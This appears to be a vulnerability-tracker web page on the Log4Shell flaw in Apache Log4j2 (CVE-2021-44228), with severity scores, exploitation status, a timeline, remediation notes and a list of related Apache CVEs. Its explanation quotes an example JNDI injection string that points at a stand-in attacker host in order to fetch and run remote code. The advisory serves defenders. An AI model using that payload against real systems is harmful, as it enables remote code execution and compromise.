Skip to content
feed: live
0dayNews
CVE Record
[ CRITICAL ]CVE-2021-44228

Log4Shell — Apache Log4j2 Remote Code Execution

A critical remote-code-execution vulnerability in Apache Log4j2, the ubiquitous Java logging library, allows an unauthenticated attacker to execute arbitrary code simply by getting a string they control logged — via JNDI lookup injection. One of the most widely exploited vulnerabilities in internet history due to Log4j's near-universal presence in Java applications.

Vendor
Apache
Product
Log4j2
CVSS
10.0
EPSS (exploit probability)
100.0%
Status
kevransomware use
CISA patch-by (BOD 22-01)
Published

Is CVE-2021-44228 being exploited?

Yes. CISA added CVE-2021-44228 to its Known Exploited Vulnerabilities catalog on . CISA only lists a CVE when it has reliable evidence of exploitation in the wild. It is also listed in CIRCL's KEV catalog. CISA marks it as known to be used in ransomware campaigns.

FIRST's EPSS model puts the probability of exploitation activity in the next 30 days at 100.0% (scored October 14, 2026).

Catalog snapshot 2026-11-16. Full cross-catalog view: /kev-comparison

CVE-2021-44228 timeline

  1. Added to CISA KEVsame day as NVD
  2. Published to NVD
  3. First 0dayNews coverage+1663d
  4. Added to CIRCL KEV+1728d

Every event links to its source. Catalog dates are each catalog's own; day offsets count from NVD publication. Data: JSON

What to do

US federal civilian agencies must remediate by (14 days after listing) under BOD 22-01. Everyone else: that deadline is a sensible upper bound, not a target. Vendor guidance and the NVD record are linked under Source above.

CVE-2021-44228 — “Log4Shell” — is a maximum-severity (CVSS 10.0) remote-code-execution vulnerability in Apache Log4j2, disclosed on December 10, 2021. Log4j2’s message-lookup substitution feature would resolve JNDI (Java Naming and Directory Interface) strings embedded in logged input, including strings an attacker fully controlled — a chat message, a User-Agent header, a username field. A malicious ${jndi:ldap://attacker.com/a} string, once logged, could cause the target application to fetch and execute attacker-controlled Java code.

Why it mattered

Log4j2 is embedded, directly or transitively, in an enormous share of Java software — enterprise applications, cloud platforms, games (Minecraft’s exploitation was one of the first public demonstrations), and countless internal tools most organizations didn’t even know depended on it. The combination of trivial exploitation, no authentication requirement, and near-universal deployment made this one of the broadest single-vulnerability exploitation events ever recorded, with mass internet scanning for vulnerable endpoints beginning within hours of disclosure.

CISA and international CERT agencies issued emergency directives; the vulnerability was added to the KEV catalog immediately. The Apache Logging Services team shipped Log4j 2.15.0 as an initial fix, followed rapidly by 2.16.0 and 2.17.x after further related issues (CVE-2021-45046, CVE-2021-45105) were found in the original patch. Full remediation guidance is at Apache’s security page and the NVD link above.

CVE / VulnerabilitySeverityCVSSEPSSAdded to KEV
CVE-2016-3081
Apache Struts Command Injection Vulnerability
[ HIGH ]8.196.9%
CVE-2026-87802
Apache Syncope SRA allows JWT forgery without JWKS URIwrite-up
[ CRITICAL ]9.10.3%—
CVE-2026-87785
Apache Syncope JWT authentication bypass via JWKS spoofingwrite-up
[ CRITICAL ]9.10.5%—
CVE-2026-86460
Apache Syncope Cypher injection via Neo4j FIQL searchwrite-up
[ CRITICAL ]9.80.6%—
CVE-2026-82232
Apache Syncope admin-level SQL injectionwrite-up
[ CRITICAL ]9.80.6%—
CVE-2026-73668
Apache Syncope admin REST API exposes connector credentialswrite-up
[ CRITICAL ]9.80.5%—
CVE-2026-73579
Apache Syncope search injection via FIQL to SQL/Neo4j/Elasticsearchwrite-up
[ CRITICAL ]9.80.5%—
CVE-2026-73470
Apache Syncope improper privilege management in delegationswrite-up
[ CRITICAL ]9.80.5%—
All 48 Apache CVEs →